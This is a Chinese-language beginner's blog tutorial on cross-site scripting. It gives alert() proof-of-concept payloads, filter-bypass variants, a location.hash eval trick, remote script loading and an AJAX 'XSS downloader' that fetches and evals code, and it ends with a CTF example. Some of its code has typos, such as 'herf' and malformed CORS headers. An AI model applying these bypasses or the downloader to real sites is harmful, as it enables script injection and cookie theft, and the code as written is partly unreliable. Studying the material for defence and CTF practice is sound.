XSS跨站脚本漏洞 初学

0x00 概述

XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。
XSS属于客户端攻击,但网站管理人员也属于用户之一,这就说明XSS可以攻击“服务器端”

0x01 XSS原理解析

XSS攻击是在网页中嵌入客户端恶意脚本代码,这些恶意代码一般使用JavaScript语言编写,因此JavaScript能力越强,XSS的威力越大。攻击者所需要的就是向Web页面中注入JavaScript代码

0x02 XSS类型

XSS主要分为三类:反射型、存储型和DOM型

反射型XSS

也叫作非持久性XSS,当用户访问一次带有XSS代码的URL请求时,浏览器解析这段代码,造成XSS漏洞。可以用于获取Cookie等

存储型XSS

又称为持久性XSS,允许用户存储数据的Web应用程序都可能会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS攻击

DOM XSS

DOM

DOM(Document Object Model),即文档对象模型,通常在HTML、XHTML、XML,使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式
DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。
DOM的规定:

  • 整个文档是一个文档节点
  • 每个HTML标签是一个元素节点
  • 包含在HTML元素中的文本是文本节点
  • 每一个HTML属性是一个属性节点
  • 节点与节点之间都有等级关系
    在这里插入图片描述
DOM XSS

基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处理数据阶段

【目前还没有理解DOM型XSS与反射型的差别】

0x03 检测XSS

手工检测

在手工检测时,一定要选测有特殊意义的字符,这样可以快速测试是否存在XSS,而不要直接输入XSS跨站语句测试,应该一步一步地进行。

可得知输出位置

输入一些敏感字符比如“<、>、()”等,提交申请后查看HTML源代码,看看是否被转义,为了方便查找这些字符可以用“AAAAA<>”字符串,便于查找

无法得知输出位置

有很多Web应用程序源代码是不对外公开的,这时在测试XSS时就有可能无法看到输出数据,对于这种情况,通常采取“/>XSS Test”闭合标签来测试

扫描二维码关注公众号,回复: 12409584 查看本文章

自动检测

APPSCAN、WEVS、Burp Suite等都可以检测XSS漏洞
XSSER、XSSF都是专业XSS扫描工具

XSS漏洞的验证

利用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC
POC 漏洞的验证与检测
EXP 漏洞的完整利用工具
shellcode 利用漏洞时,所执行的代码
payload 攻击载荷
sqlmap 攻击代码的模版

<script> alert(/xss/)</script>//弹窗,最常用的
<script> confirm('xss')</script>
<script>prompt('xss')</script>

XSS的构造

  1. 利用[<>]构造HTML/JS
    可以利用[<>]构造HTML标签和
<script> alert(/xss/)</script>
  1. 伪协议
    也可以使用javascript:伪协议的方式构造XSS
    提交参数<a herf = "javascript: alert(/xss/)">touch me!</a>
  2. 产生自己的时间
    “事件驱动”是一种比较经典的编程思想。我们可以通过事件触发JS函数,触发XSS。
事件种类 内容
Windows事件 对windows对象触发的事件
Form事件 HTML表单内的动作触发事件
Keyboard事件 键盘按键
Mouse事件 由鼠标或类似用户动作触发的事件
Media事件 由多媒体触发的事件

例如,<img src='./smile.jpg' onmouseover = 'alert(/xss/)'>
会引入一个图片,当鼠标在图片上悬停的时候会触发JS代码
在这里插入图片描述

XSS的变形

  1. 大小写转换
<Img sRc = '#' Onerror = "alert(/xss/)" />
  1. 引号的使用’
    HTML语言中对引号的使用不敏感,但是某些过滤函数对引号的使用锱铢必较
<img src = "#" onerror = "alert(/xss/)"/>
<img src = '#' onerror = "alert(/xss/)"/>
<img src = # onerror = "alert(/xss/)"/>
  1. 利用[/]代替空格
<img src = "#"/onerror = "alert(/xss/)"/>
  1. 回车
    我们可以在一些位置添加Tab和回车符,来绕过关键字检测
<a Herf = "j	
a	v
a	s
c	Ript : alert(/xss/)">click me!</a>
  1. 对标签属性值进行转码
    可以对标签属性值进行转码,来绕过过滤。对应编码如下:
字母 ASCII码 十进制编码 十六进制编码
a 97 &#97 &#61
e 101 &#101 &#x65
<A hERf = "j&#97;v&#97;script:alert(/xss/)">click me!</a>
  1. 拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)' </script>
<script>eval(z)</script>
  1. 双写绕过
<scr<script>ipt>//一次过滤

Shellcode的调用

shellcode 就是在利用漏洞所执行的代码
完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用shellcode

远程调用JS

可以将js代码单独放在一个js文件中,然后通过http协议远程加载该脚本

<script src="http://172.16.132.138/XSS-TEST
/normal/xss.js"></script>
// xss.js内容
alert('xss.js')

Windows.location.hash

我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的XSS代码,windos.location.hash会获取URL中#后的内容
我们可以构造如下代码?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)直接提交到测试页面

XSS Downloader

XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页的XSS代码

<script>
function XSS(){
    
    
	if(window.XMLHttpRequest){
    
    
		a = new XMLHttpRequest();
	}else if(window.ActiveXObject){
    
    
		a = new ActiveXObject("Microsoft.XMLHTTP");
	}else {
    
    return;}
	
a.open('get','http://127.0.0.1/PHPTutorial/WWW/xss_downloader.php',false);
};
	a.send();
	b = a.responseText;
	eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}
XSS();
</script>

将上述代码放入可写入xss位置,但由于AJAX技术限制只能在本域访问

<?php
header('Access-Control-Allow_Origin:*');
header('Access-Control-Allow_Header:Origin,X-Request-With,COntent-Type,Accept');
?>

上述代码可补充AJAX的跨域访问,使得在其他域名下也可访问xss_downloader.php文件

备选存储技术

我们可以吧Shellcode存储在客户端的本地域中,比如HTTP Cookie、FLash共享对象、UserDate、localStorage等。

手段

<script "'Oonn>//可以查询过滤了哪些字符

例题

http://test.ctf8.com/
在这里插入图片描述
首先利用上述查看代码,发现在最后出现了一个双引号和尖括号闭合,说明我们要写的payload可以使用双引号和尖括号来闭合源代码以逃逸
payload: "><img src="#" Onerror="alert(/xss/)"

猜你喜欢

转载自blog.csdn.net/Luminous_song/article/details/108930216